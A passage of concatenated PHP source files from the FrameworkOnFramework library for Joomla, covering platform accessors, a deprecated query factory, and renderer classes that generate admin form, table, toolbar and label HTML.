* FOFPlatformFoobar you MUST return "foobar" (all lowercase).
*
* @return string
*
* @since 2.1.2
*/
public function getPlatformName()
{
return $this->name;
}
/**
* Returns the version number string of the platform, e.g.
"4.5.6". If
* implementation integrates with a CMS or a versioned foundation (e.g.
* a framework) it is advisable to return that version.
*
* @return string
*
* @since 2.1.2
*/
public function getPlatformVersion()
{
return $this->version;
}
/**
* Returns the human readable platform name, e.g. "Joomla!",
"Joomla!
* Framework", "Something Something Something Framework"
etc.
*
* @return string
*
* @since 2.1.2
*/
public function getPlatformHumanName()
{
return $this->humanReadableName;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage query
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework query base class; for compatibility purposes
*
* @package FrameworkOnFramework
* @since 2.1
* @deprecated 2.1
*/
abstract class FOFQueryAbstract
{
/**
* Returns a new database query class
*
* @param FOFDatabaseDriver $db The DB driver which will provide us
with a query object
*
* @return FOFQueryAbstract
*/
public static function &getNew($db = null)
{
FOFPlatform::getInstance()->logDeprecated('FOFQueryAbstract is
deprecated. Use FOFDatabaseQuery instead.');
if (is_null($db))
{
$ret = FOFPlatform::getInstance()->getDbo()->getQuery(true);
}
else
{
$ret = $db->getQuery(true);
}
return $ret;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage render
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('FOF_INCLUDED') or die;
/**
* Abstract view renderer class. The renderer is what turns XML view
templates
* into actual HTML code, renders the submenu links and potentially wraps
the
* HTML output in a div with a component-specific ID.
*
* @package FrameworkOnFramework
* @since 2.0
*/
abstract class FOFRenderAbstract
{
/** @var int Priority of this renderer. Higher means more important */
protected $priority = 50;
/** @var int Is this renderer enabled? */
protected $enabled = false;
/**
* Returns the information about this renderer
*
* @return object
*/
public function getInformation()
{
return (object) array(
'priority' => $this->priority,
'enabled' => $this->enabled,
);
}
/**
* Echoes any HTML to show before the view template
*
* @param string $view The current view
* @param string $task The current task
* @param FOFInput $input The input array (request parameters)
* @param array $config The view configuration array
*
* @return void
*/
abstract public function preRender($view, $task, $input, $config =
array());
/**
* Echoes any HTML to show after the view template
*
* @param string $view The current view
* @param string $task The current task
* @param FOFInput $input The input array (request parameters)
* @param array $config The view configuration array
*
* @return void
*/
abstract public function postRender($view, $task, $input, $config =
array());
/**
* Renders a FOFForm and returns the corresponding HTML
*
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
* @param string $formType The form type: edit, browse or read
* @param boolean $raw If true, the raw form fields rendering
(without the surrounding form tag) is returned.
*
* @return string The HTML rendering of the form
*/
public function renderForm(FOFForm &$form, FOFModel $model, FOFInput
$input, $formType = null, $raw = false)
{
if (is_null($formType))
{
$formType = $form->getAttribute('type', 'edit');
}
else
{
$formType = strtolower($formType);
}
switch ($formType)
{
case 'browse':
return $this->renderFormBrowse($form, $model, $input);
break;
case 'read':
if ($raw)
{
return $this->renderFormRaw($form, $model, $input,
'read');
}
else
{
return $this->renderFormRead($form, $model, $input);
}
break;
default:
if ($raw)
{
return $this->renderFormRaw($form, $model, $input,
'edit');
}
else
{
return $this->renderFormEdit($form, $model, $input);
}
break;
}
}
/**
* Renders the submenu (link bar) for a category view when it is used in a
* extension
*
* Note: this function has to be called from the addSubmenu function in
* the ExtensionNameHelper class located in
* administrator/components/com_ExtensionName/helpers/Extensionname.php
*
* Example Code:
*
* class ExtensionNameHelper
* {
* public static function addSubmenu($vName)
* {
* // Load FOF
* include_once JPATH_LIBRARIES . '/fof/include.php';
*
* if (!defined('FOF_INCLUDED'))
* {
* JError::raiseError('500', 'FOF is not
installed');
* }
*
* if (version_compare(JVERSION, '3.0', 'ge'))
* {
* $strapper = new FOFRenderJoomla3;
* }
* else
* {
* $strapper = new FOFRenderJoomla;
* }
*
* $strapper->renderCategoryLinkbar('com_babioonevent');
* }
* }
*
* @param string $extension The name of the extension
* @param array $config Extra configuration variables for the
toolbar
*
* @return void
*/
public function renderCategoryLinkbar($extension, $config = array())
{
// On command line don't do anything
if (FOFPlatform::getInstance()->isCli())
{
return;
}
// Do not render a category submenu unless we are in the the admin area
if (!FOFPlatform::getInstance()->isBackend())
{
return;
}
$toolbar = FOFToolbar::getAnInstance($extension, $config);
$toolbar->renderSubmenu();
$this->renderLinkbarItems($toolbar);
}
/**
* Renders a FOFForm for a Browse view and returns the corresponding HTML
*
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
*
* @return string The HTML rendering of the form
*/
abstract protected function renderFormBrowse(FOFForm &$form, FOFModel
$model, FOFInput $input);
/**
* Renders a FOFForm for a Read view and returns the corresponding HTML
*
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
*
* @return string The HTML rendering of the form
*/
abstract protected function renderFormRead(FOFForm &$form, FOFModel
$model, FOFInput $input);
/**
* Renders a FOFForm for an Edit view and returns the corresponding HTML
*
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
*
* @return string The HTML rendering of the form
*/
abstract protected function renderFormEdit(FOFForm &$form, FOFModel
$model, FOFInput $input);
/**
* Renders a raw FOFForm and returns the corresponding HTML
*
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
* @param string $formType The form type e.g. 'edit' or
'read'
*
* @return string The HTML rendering of the form
*/
abstract protected function renderFormRaw(FOFForm &$form, FOFModel
$model, FOFInput $input, $formType);
/**
* Renders a raw fieldset of a FOFForm and returns the corresponding HTML
*
* @TODO: Convert to an abstract method or interface at FOF3
*
* @param stdClass &$fieldset The fieldset to render
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
* @param string $formType The form type e.g. 'edit' or
'read'
* @param boolean $showHeader Should I render the fieldset's
header?
*
* @return string The HTML rendering of the fieldset
*/
protected function renderFieldset(stdClass &$fieldset, FOFForm
&$form, FOFModel $model, FOFInput $input, $formType, $showHeader =
true)
{
}
/**
* Renders a label for a fieldset.
*
* @TODO: Convert to an abstract method or interface at FOF3
*
* @param object $field The field of the label to render
* @param FOFForm &$form The form to render
* @param string $title The title of the label
*
* @return string The rendered label
*/
protected function renderFieldsetLabel($field, FOFForm &$form, $title)
{
}
/**
* Checks if the fieldset defines a tab pane
*
* @param SimpleXMLElement $fieldset
*
* @return boolean
*/
protected function isTabFieldset($fieldset)
{
if (!isset($fieldset->class) || !$fieldset->class)
{
return false;
}
$class = $fieldset->class;
$classes = explode(' ', $class);
if (!in_array('tab-pane', $classes))
{
return false;
}
else
{
return in_array('active', $classes) ? 2 : 1;
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage render
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
defined('FOF_INCLUDED') or die;
/**
* Default Joomla! 1.5, 1.7, 2.5 view renderer class
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFRenderJoomla extends FOFRenderAbstract
{
/**
* Public constructor. Determines the priority of this class and if it
should be enabled
*/
public function __construct()
{
$this->priority = 50;
$this->enabled = true;
}
/**
* Echoes any HTML to show before the view template
*
* @param string $view The current view
* @param string $task The current task
* @param FOFInput $input The input array (request parameters)
* @param array $config The view configuration array
*
* @return void
*/
public function preRender($view, $task, $input, $config = array())
{
$format = $input->getCmd('format', 'html');
if (empty($format))
{
$format = 'html';
}
if ($format != 'html')
{
return;
}
$platform = FOFPlatform::getInstance();
if ($platform->isCli())
{
return;
}
if (version_compare(JVERSION, '3.0.0', 'lt'))
{
JHtml::_('behavior.framework');
}
else
{
if (version_compare(JVERSION, '3.3.0', 'ge'))
{
JHtml::_('behavior.core');
}
else
{
JHtml::_('behavior.framework', true);
}
JHtml::_('jquery.framework');
}
// Wrap output in various classes
$version = new JVersion;
$versionParts = explode('.', $version->RELEASE);
$minorVersion = str_replace('.', '',
$version->RELEASE);
$majorVersion = array_shift($versionParts);
if ($platform->isBackend())
{
$area = $platform->isBackend() ? 'admin' :
'site';
$option = $input->getCmd('option', '');
$view = $input->getCmd('view', '');
$layout = $input->getCmd('layout', '');
$task = $input->getCmd('task', '');
$classes = array(
'joomla-version-' . $majorVersion,
'joomla-version-' . $minorVersion,
$area,
$option,
'view-' . $view,
'layout-' . $layout,
'task-' . $task,
);
}
elseif ($platform->isFrontend())
{
// @TODO: Remove the frontend Joomla! version classes in FOF 3
$classes = array(
'joomla-version-' . $majorVersion,
'joomla-version-' . $minorVersion,
);
}
echo '<div id="akeeba-renderjoomla" class="'
. implode(' ', $classes) . "\">\n";
// Render submenu and toolbar (only if asked to)
if ($input->getBool('render_toolbar', true))
{
$this->renderButtons($view, $task, $input, $config);
$this->renderLinkbar($view, $task, $input, $config);
}
}
/**
* Echoes any HTML to show after the view template
*
* @param string $view The current view
* @param string $task The current task
* @param FOFInput $input The input array (request parameters)
* @param array $config The view configuration array
*
* @return void
*/
public function postRender($view, $task, $input, $config = array())
{
$format = $input->getCmd('format', 'html');
if (empty($format))
{
$format = 'html';
}
if ($format != 'html')
{
return;
}
// Closing tag only if we're not in CLI
if (FOFPlatform::getInstance()->isCli())
{
return;
}
echo "</div>\n"; // Closes akeeba-renderjoomla div
}
/**
* Renders a FOFForm for a Browse view and returns the corresponding HTML
*
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
*
* @return string The HTML rendering of the form
*/
protected function renderFormBrowse(FOFForm &$form, FOFModel $model,
FOFInput $input)
{
JHtml::_('behavior.multiselect');
// Getting all header row elements
$headerFields = $form->getHeaderset();
// Start the form
$html = '';
$filter_order = $form->getView()->getLists()->order;
$filter_order_Dir = $form->getView()->getLists()->order_Dir;
$actionUrl = FOFPlatform::getInstance()->isBackend() ?
'index.php' : JUri::root().'index.php';
if (FOFPlatform::getInstance()->isFrontend() &&
($input->getCmd('Itemid', 0) != 0))
{
$itemid = $input->getCmd('Itemid', 0);
$uri = new JUri($actionUrl);
if ($itemid)
{
$uri->setVar('Itemid', $itemid);
}
$actionUrl = JRoute::_($uri->toString());
}
$html .= '<form action="'.$actionUrl.'"
method="post" name="adminForm"
id="adminForm">' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="option" value="' .
$input->getCmd('option') . '" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="view" value="' .
FOFInflector::pluralize($input->getCmd('view')) . '"
/>' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="task" value="" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="layout" value="' .
$input->getCmd('layout', '') . '"
/>' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="boxchecked" value="" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="hidemainmenu" value="" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="filter_order" value="' . $filter_order .
'" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="filter_order_Dir" value="' . $filter_order_Dir .
'" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="' . JFactory::getSession()->getFormToken() .
'" value="1" />' . PHP_EOL;
// Start the table output
$html .= "\t\t" . '<table class="adminlist"
id="adminList">' . PHP_EOL;
// Get form parameters
$show_header = $form->getAttribute('show_header', 1);
$show_filters = $form->getAttribute('show_filters', 1);
$show_pagination = $form->getAttribute('show_pagination',
1);
$norows_placeholder =
$form->getAttribute('norows_placeholder', '');
// Open the table header region if required
if ($show_header || $show_filters)
{
$html .= "\t\t\t<thead>" . PHP_EOL;
}
// Pre-render the header and filter rows
if ($show_header || $show_filters)
{
$header_html = '';
$filter_html = '';
foreach ($headerFields as $header)
{
// Make sure we have a header field. Under Joomla! 2.5 we cannot
// render filter-only fields.
$tmpHeader = $header->header;
if (empty($tmpHeader))
{
continue;
}
$tdwidth = $header->tdwidth;
if (!empty($tdwidth))
{
$tdwidth = 'width="' . $tdwidth . '"';
}
else
{
$tdwidth = '';
}
$header_html .= "\t\t\t\t\t<th $tdwidth>" . PHP_EOL;
$header_html .= "\t\t\t\t\t\t" . $tmpHeader;
$header_html .= "\t\t\t\t\t</th>" . PHP_EOL;
$filter = $header->filter;
$buttons = $header->buttons;
$options = $header->options;
$filter_html .= "\t\t\t\t\t<td>" . PHP_EOL;
if (!empty($filter))
{
$filter_html .= "\t\t\t\t\t\t$filter" . PHP_EOL;
if (!empty($buttons))
{
$filter_html .=
"\t\t\t\t\t\t<nobr>$buttons</nobr>" . PHP_EOL;
}
}
elseif (!empty($options))
{
$label = $header->label;
$emptyOption = JHtml::_('select.option', '',
'- ' . JText::_($label) . ' -');
array_unshift($options, $emptyOption);
$attribs = array(
'onchange' => 'document.adminForm.submit();'
);
$filter = JHtml::_('select.genericlist', $options,
$header->name, $attribs, 'value', 'text',
$header->value, false, true);
$filter_html .= "\t\t\t\t\t\t$filter" . PHP_EOL;
}
$filter_html .= "\t\t\t\t\t</td>" . PHP_EOL;
}
}
// Render header if enabled
if ($show_header)
{
$html .= "\t\t\t\t<tr>" . PHP_EOL;
$html .= $header_html;
$html .= "\t\t\t\t</tr>" . PHP_EOL;
}
// Render filter row if enabled
if ($show_filters)
{
$html .= "\t\t\t\t<tr>";
$html .= $filter_html;
$html .= "\t\t\t\t</tr>";
}
// Close the table header region if required
if ($show_header || $show_filters)
{
$html .= "\t\t\t</thead>" . PHP_EOL;
}
// Loop through rows and fields, or show placeholder for no rows
$html .= "\t\t\t<tbody>" . PHP_EOL;
$fields = $form->getFieldset('items');
$num_columns = count($fields);
$items = $form->getModel()->getItemList();
if ($count = count($items))
{
$m = 1;
foreach ($items as $i => $item)
{
$table_item = $form->getModel()->getTable();
$table_item->reset();
$table_item->bind($item);
$form->bind($item);
$m = 1 - $m;
$class = 'row' . $m;
$html .= "\t\t\t\t<tr class=\"$class\">" .
PHP_EOL;
$fields = $form->getFieldset('items');
foreach ($fields as $field)
{
$field->rowid = $i;
$field->item = $table_item;
$labelClass = $field->labelClass ? $field->labelClass :
$field->labelclass; // Joomla! 2.5/3.x use different case for the same
name
$class = $labelClass ? 'class ="' . $labelClass .
'"' : '';
$html .= "\t\t\t\t\t<td $class>" .
$field->getRepeatable() . '</td>' . PHP_EOL;
}
$html .= "\t\t\t\t</tr>" . PHP_EOL;
}
}
elseif ($norows_placeholder)
{
$html .= "\t\t\t\t<tr><td
colspan=\"$num_columns\">";
$html .= JText::_($norows_placeholder);
$html .= "</td></tr>\n";
}
$html .= "\t\t\t</tbody>" . PHP_EOL;
// Render the pagination bar, if enabled
if ($show_pagination)
{
$pagination = $form->getModel()->getPagination();
$html .= "\t\t\t<tfoot>" . PHP_EOL;
$html .= "\t\t\t\t<tr><td
colspan=\"$num_columns\">";
if (($pagination->total > 0))
{
$html .= $pagination->getListFooter();
}
$html .= "</td></tr>\n";
$html .= "\t\t\t</tfoot>" . PHP_EOL;
}
// End the table output
$html .= "\t\t" . '</table>' . PHP_EOL;
// End the form
$html .= '</form>' . PHP_EOL;
return $html;
}
/**
* Renders a FOFForm for a Read view and returns the corresponding HTML
*
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
*
* @return string The HTML rendering of the form
*/
protected function renderFormRead(FOFForm &$form, FOFModel $model,
FOFInput $input)
{
$html = $this->renderFormRaw($form, $model, $input, 'read');
return $html;
}
/**
* Renders a FOFForm for an Edit view and returns the corresponding HTML
*
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
*
* @return string The HTML rendering of the form
*/
protected function renderFormEdit(FOFForm &$form, FOFModel $model,
FOFInput $input)
{
// Get the key for this model's table
$key = $model->getTable()->getKeyName();
$keyValue = $model->getId();
JHTML::_('behavior.tooltip');
$html = '';
$validate = strtolower($form->getAttribute('validate'));
$class = '';
if (in_array($validate, array('true', 'yes',
'1', 'on')))
{
JHtml::_('behavior.formvalidation');
$class = 'form-validate ';
$this->loadValidationScript($form);
}
// Check form enctype. Use enctype="multipart/form-data" to
upload binary files in your form.
$template_form_enctype = $form->getAttribute('enctype');
if (!empty($template_form_enctype))
{
$enctype = ' enctype="' .
$form->getAttribute('enctype') . '" ';
}
else
{
$enctype = '';
}
// Check form name. Use name="yourformname" to modify the name
of your form.
$formname = $form->getAttribute('name');
if (empty($formname))
{
$formname = 'adminForm';
}
// Check form ID. Use id="yourformname" to modify the id of
your form.
$formid = $form->getAttribute('name');
if (empty($formid))
{
$formid = 'adminForm';
}
// Check if we have a custom task
$customTask = $form->getAttribute('customTask');
if (empty($customTask))
{
$customTask = '';
}
// Get the form action URL
$actionUrl = FOFPlatform::getInstance()->isBackend() ?
'index.php' : JUri::root().'index.php';
if (FOFPlatform::getInstance()->isFrontend() &&
($input->getCmd('Itemid', 0) != 0))
{
$itemid = $input->getCmd('Itemid', 0);
$uri = new JUri($actionUrl);
if ($itemid)
{
$uri->setVar('Itemid', $itemid);
}
$actionUrl = JRoute::_($uri->toString());
}
$html .= '<form action="'.$actionUrl.'"
method="post" name="' . $formname .
'" id="' . $formid . '"' . $enctype .
' class="' . $class .
'">' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="option" value="' .
$input->getCmd('option') . '" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="view" value="' .
$input->getCmd('view', 'edit') . '"
/>' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="task" value="' . $customTask . '"
/>' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="' . $key . '" value="' . $keyValue .
'" />' . PHP_EOL;
$html .= "\t" . '<input type="hidden"
name="' . JFactory::getSession()->getFormToken() .
'" value="1" />' . PHP_EOL;
$html .= $this->renderFormRaw($form, $model, $input,
'edit');
$html .= '</form>';
return $html;
}
/**
* Renders a raw FOFForm and returns the corresponding HTML
*
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
* @param string $formType The form type e.g. 'edit' or
'read'
*
* @return string The HTML rendering of the form
*/
protected function renderFormRaw(FOFForm &$form, FOFModel $model,
FOFInput $input, $formType)
{
$html = '';
foreach ($form->getFieldsets() as $fieldset)
{
$html .= $this->renderFieldset($fieldset, $form, $model, $input,
$formType, false);
}
return $html;
}
/**
* Renders a raw fieldset of a FOFForm and returns the corresponding HTML
*
* @param stdClass &$fieldset The fieldset to render
* @param FOFForm &$form The form to render
* @param FOFModel $model The model providing our data
* @param FOFInput $input The input object
* @param string $formType The form type e.g. 'edit' or
'read'
* @param boolean $showHeader Should I render the fieldset's
header?
*
* @return string The HTML rendering of the fieldset
*/
protected function renderFieldset(stdClass &$fieldset, FOFForm
&$form, FOFModel $model, FOFInput $input, $formType, $showHeader =
true)
{
$html = '';
$fields = $form->getFieldset($fieldset->name);
if (isset($fieldset->class))
{
$class = 'class="' . $fieldset->class .
'"';
}
else
{
$class = '';
}
$element = empty($fields) ? 'div' : 'fieldset';
$html .= "\t" . '<' . $element . '
id="' . $fieldset->name . '" ' . $class .
'>' . PHP_EOL;
$isTabbedFieldset = $this->isTabFieldset($fieldset);
if (isset($fieldset->label) && !empty($fieldset->label)
&& !$isTabbedFieldset)
{
$html .= "\t\t" . '<h3>' .
JText::_($fieldset->label) . '</h3>' . PHP_EOL;
}
foreach ($fields as $field)
{
$groupClass = $form->getFieldAttribute($field->fieldname,
'groupclass', '', $field->group);
// Auto-generate label and description if needed
// Field label
$title = $form->getFieldAttribute($field->fieldname,
'label', '', $field->group);
$emptylabel = $form->getFieldAttribute($field->fieldname,
'emptylabel', false, $field->group);
if (empty($title) && !$emptylabel)
{
$model->getName();
$title = strtoupper($input->get('option') . '_'
. $model->getName() . '_' . $field->id .
'_LABEL');
}
// Field description
$description = $form->getFieldAttribute($field->fieldname,
'description', '', $field->group);
/**
* The following code is backwards incompatible. Most forms don't
require a description in their form
* fields. Having to use emptydescription="1" on each one of
them is an overkill. Removed.
*/
/*
$emptydescription = $form->getFieldAttribute($field->fieldname,
'emptydescription', false, $field->group);
if (empty($description) && !$emptydescription)
{
$description = strtoupper($input->get('option') .
'_' . $model->getName() . '_' . $field->id .
'_DESC');
}
*/
if ($formType == 'read')
{
$inputField = $field->static;
}
elseif ($formType == 'edit')
{
$inputField = $field->input;
}
if (empty($title))
{
$html .= "\t\t\t" . $inputField . PHP_EOL;
if (!empty($description) && $formType == 'edit')
{
$html .= "\t\t\t\t" . '<span
class="help-block">';
$html .= JText::_($description) . '</span>' . PHP_EOL;
}
}
else
{
$html .= "\t\t\t" . '<div class="fof-row '
. $groupClass . '">' . PHP_EOL;
$html .= $this->renderFieldsetLabel($field, $form, $title);
$html .= "\t\t\t\t" . $inputField . PHP_EOL;
if (!empty($description))
{
$html .= "\t\t\t\t" . '<span
class="help-block">';
$html .= JText::_($description) . '</span>' . PHP_EOL;
}
$html .= "\t\t\t" . '</div>' . PHP_EOL;
}
}
$element = empty($fields) ? 'div' : 'fieldset';
$html .= "\t" . '</' . $element . '>'
. PHP_EOL;
return $html;
}
/**
* Renders a label for a fieldset.
*
* @param object $field The field of the label to render
* @param FOFForm &$form The form to render
* @param string $title The title of the label
*
* @return string The rendered label
*/
protected function renderFieldsetLabel($field, FOFForm &$form, $title)
{
$html = '';
$labelClass = $field->labelClass ? $field->labelClass :
$field->labelclass; // Joomla! 2.5/3.x use different case for the same
name
$required = $field->required;
if ($required)
{
$labelClass .= ' required';
}
$tooltip = $form->getFieldAttribute($field->fieldname,
'tooltip', '', $field->group);
if (!empty($tooltip))
{
JHtml::_('behavior.tooltip');
$tooltipText = JText::_($title) . '::' . JText::_($tooltip);
$labelClass .= ' hasTip';
$html .= "\t\t\t\t" . '<label id="' .
$field->id . '-lbl" class="' . $labelClass .
'" for="' . $field->id . '"
title="' . $tooltipText . '"
rel="tooltip">';
}
else
{
$html .= "\t\t\t\t" . '<label class="' .
$labelClass . '" for="' . $field->id .
'">';
}
$html .= JText::_($title);
if ($required)
{
$html .= '<span
class="star"> *</span>';
}
$html .= "\t\t\t\t" . '</label>' . PHP_EOL;
return $html;
}
/**
* Loads the validation script for an edit form
*
* @param FOFForm &$form The form we are rendering
*
* @return void
*/
protected function loadValidationScript(FOFForm &$form)
{
$message =
$form->getView()->escape(JText::_('JGLOBAL_VALIDATION_FORM_FAILED'));
$js = <<<JS
Joomla.submitbutton = function(task)
{
if (task == 'cancel' ||
document.formvalidator.isValid(document.id('adminForm')))
{
Joomla.submitform(task, document.getElementById('adminForm'));
}
else {
alert('$message');
}
};
JS;
$document = FOFPlatform::getInstance()->getDocument();
if ($document instanceof JDocument)
{
$document->addScriptDeclaration($js);
}
}
/**
* Renders the submenu (link bar)
*
* @param string $view The active view name
* @param string $task The current task
* @param FOFInput $input The input object
* @param array $config Extra configuration variables for the
toolbar
*
* @return void
*/
protected function renderLinkbar($view, $task, $input, $config = array())
{
// On command line don't do anything
if (FOFPlatform::getInstance()->isCli())
{
return;
}
// Do not render a submenu unless we are in the the admin area
$toolbar =
FOFToolbar::getAnInstance($input->getCmd('option',
'com_foobar'), $config);
$renderFrontendSubmenu = $toolbar->getRenderFrontendSubmenu();
if (!FOFPlatform::getInstance()->isBackend() &&
!$renderFrontendSubmenu)
{
return;
}
$this->renderLinkbarItems($toolbar);
}
/**
* do the rendering job for the linkbar
*
* @param FOFToolbar $toolbar A toolbar object
*
* @return void
*/
protected function renderLinkbarItems($toolbar)
{
$links = $toolbar->getLinks();
if (!empty($links))
{
foreach ($links as $link)
{
JSubMenuHelper::addEntry($link['name'],
$link['link'], $link['active']);
}
}
}
/**
* Renders the toolbar buttons
*
* @param string $view The active view name
* @param string $task The current task
* @param FOFInput $input The input object
* @param array $config Extra configuration variables for the
toolbar
*
* @return void
*/
protected function renderButtons($view, $task, $input, $config = array())
{
// On command line don't do anything
if (FOFPlatform::getInstance()->isCli())
{
return;
}
// Do not render buttons unless we are in the the frontend area and we
are asked to do so
$toolbar =
FOFToolbar::getAnInstance($input->getCmd('option',
'com_foobar'), $config);
$renderFrontendButtons = $toolbar->getRenderFrontendButtons();
if (FOFPlatform::getInstance()->isBackend() ||
!$renderFrontendButtons)
{
return;
}
// Load main backend language, in order to display toolbar strings
// (JTOOLBAR_BACK, JTOOLBAR_PUBLISH etc etc)
FOFPlatform::getInstance()->loadTranslations('joomla');
$title =
JFactory::getApplication()->get('JComponentTitle');
$bar = JToolbar::getInstance('toolbar');
// Delete faux links, since if SEF is on, Joomla will follow the link
instead of submitting the form
$bar_content = str_replace('href="#"', '',
$bar->render());
echo '<div id="FOFHeaderHolder">',
$bar_content, $title, '<div
style="clear:both"></div>',
'</div>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage render
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
defined('FOF_INCLUDED') or die;
/**
* Joomla! 3 view renderer class
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFRenderJoomla3 extends FOFRenderStrapper
{
/**
* Public constructor. Determines the priority of this class and if it
should be enabled
*/
public function __construct()
{
$this->priority = 55;
$this->enabled = version_compare(JVERSION, '3.0',
'ge');
}
/**
* Echoes any HTML to show before the view template
*
* @param string $view The current view
* @param string $task The current task
* @param FOFInput $input The input array (request parameters)
* @param array $config The view configuration array
*
* @return void
*/
public function preRender($view, $task, $input, $config = array())
{
$format = $input->getCmd('format', 'html');
if (empty($format))
{
$format = 'html';
}
if ($format != 'html')
{
return;
}
$platform = FOFPlatform::getInstance();
if ($platform->isCli())
{
return;
}
if (version_compare(JVERSION, '3.3.0', 'ge'))
{
JHtml::_('behavior.core');
}
else
{
JHtml::_('behavior.framework', true);
}
JHtml::_('jquery.framework');
if ($platform->isBackend())
{
// Wrap output in various classes
$version = new JVersion;
$versionParts = explode('.', $version->RELEASE);
$minorVersion = str_replace('.', '',
$version->RELEASE);
$majorVersion = array_shift($versionParts);
$option = $input->getCmd('option', '');
$view = $input->getCmd('view', '');
$layout = $input->getCmd('layout', '');
$task = $input->getCmd('task', '');
$classes = ' class="' . implode(
' ',
array(
'joomla-version-' . $majorVersion,
'joomla-version-' . $minorVersion,
'admin',
$option,
'view-' . $view,
'layout-' . $layout,
'task-' . $task,
)
) . '"';
}
else
{
$classes = '';
}
echo '<div id="akeeba-renderjoomla"' . $classes .
">\n";
// Render the submenu and toolbar
if ($input->getBool('render_toolbar', true))
{
$this->renderButtons($view, $task, $input, $config);
$this->renderLinkbar($view, $task, $input, $config);
}
}
/**
* Echoes any HTML to show after the view template
*
* @param string $view The current view
* @param string $task The current task
* @param FOFInput $input The input array (request parameters)
* @param array $config The view configuration array
*
* @return void
*/
public function postRender($view, $task, $input, $config = array())
{
$format = $input->getCmd('format', 'html');
if (empty($format))
{
$format = 'html';
}
if ($format != 'html')
{
return;
}
// Closing tag only if we're not in CLI
if (FOFPlatform::getInstance()->isCli())
{
return;
}
echo "</div>\n"; // Closes akeeba-renderjoomla div
}
/**
* Renders the submenu (link bar)
*
* @param string $view The active view name
* @param string $task The current task
* @param FOFInput $input The input object
* @param array $config Extra configuration variables for the
toolbar
*
* @return void
*/
protected function renderLinkbar($view, $task, $input, $config = array())
{
$style = 'joomla';
if (array_key_exists('linkbar_style', $config))
{
$style = $config['linkbar_style'];
}
switch ($style)
{
case 'joomla':
$this->renderLinkbar_joomla($view, $task, $input);
break;
case 'classic':
default:
$this->renderLinkbar_classic($view, $task, $input);
break;
}
}
/**
* Renders a label for a fieldset.
*
* @param object $field The field of the label to render
* @param FOFForm &$form The form to render
* @param string $title The title of the label
*
* @return string The rendered label
*/
protected function renderFieldsetLabel($field, FOFForm &$form, $title)
{
$html = '';
$labelClass = $field->labelClass ? $field->labelClass :
$field->labelclass; // Joomla! 2.5/3.x use different case for the same
name
$required = $field->required;
$tooltip = $form->getFieldAttribute($field->fieldname,
'tooltip', '', $field->group);
if (!empty($tooltip))
{
JHtml::_('bootstrap.tooltip');
$tooltipText = '<strong>' . JText::_($title) .
'</strong><br />' . JText::_($tooltip);
$html .= "\t\t\t\t" . '<label
class="control-label hasTooltip ' . $labelClass . '"
for="' . $field->id . '" title="' .
$tooltipText . '" rel="tooltip">';
}
else
{
$html .= "\t\t\t\t" . '<label
class="control-label ' . $labelClass . '"
for="' . $field->id . '">';
}
$html .= JText::_($title);
if ($required)
{
$html .= ' *';
}
$html .= '</label>' . PHP_EOL;
return $html;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage render
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
defined('FOF_INCLUDED') or die;
/**
* Akeeba Strapper view renderer class.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFRenderStrapper extends FOFRenderAbstract
{
/**
* Public constructor. Determines the priority of this class and if it
should be enabled
*/
public function __construct()
{
$this->priority = 60;
$this->enabled = class_exists('AkeebaStrapper');
}
/**
* Echoes any HTML to show before the view template
*
* @param string $view The current view
* @param string $task The current task
* @param FOFInput $input The input array (request parameters)
* @param array $config The view configuration array
*
* @return void
